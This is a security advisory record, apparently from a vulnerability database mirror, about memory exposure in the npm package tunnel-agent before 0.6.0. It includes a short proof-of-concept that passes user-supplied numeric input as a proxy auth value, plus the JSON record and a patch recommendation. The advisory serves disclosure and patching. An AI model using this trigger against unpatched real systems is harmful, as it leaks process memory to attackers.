GHSA-XC7V-WXCW-J472

Vulnerability from github – Published: 2019-06-03 17:08 – Updated: 2020-08-31 18:29
VLAI?
Summary
Memory Exposure in tunnel-agent
Details

Versions of tunnel-agent before 0.6.0 are vulnerable to memory exposure.

This is exploitable if user supplied input is provided to the auth value and is a number.

Proof-of-concept:

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
    protocol: 'http:',
    host:'127.0.0.1',
    port:8080,
    auth:USERSUPPLIEDINPUT // number
  }
});

Recommendation

Update to version 0.6.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tunnel-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-03T17:08:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.\n\nThis is exploitable if user supplied input is provided to the auth value and is a number.\n\nProof-of-concept:\n```js\nrequire(\u0027request\u0027)({\n  method: \u0027GET\u0027,\n  uri: \u0027http://www.example.com\u0027,\n  tunnel: true,\n  proxy:{\n    protocol: \u0027http:\u0027,\n    host:\u0027127.0.0.1\u0027,\n    port:8080,\n    auth:USERSUPPLIEDINPUT // number\n  }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.6.0 or later.",
  "id": "GHSA-xc7v-wxcw-j472",
  "modified": "2020-08-31T18:29:19Z",
  "published": "2019-06-03T17:08:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/598"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Memory Exposure in tunnel-agent"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…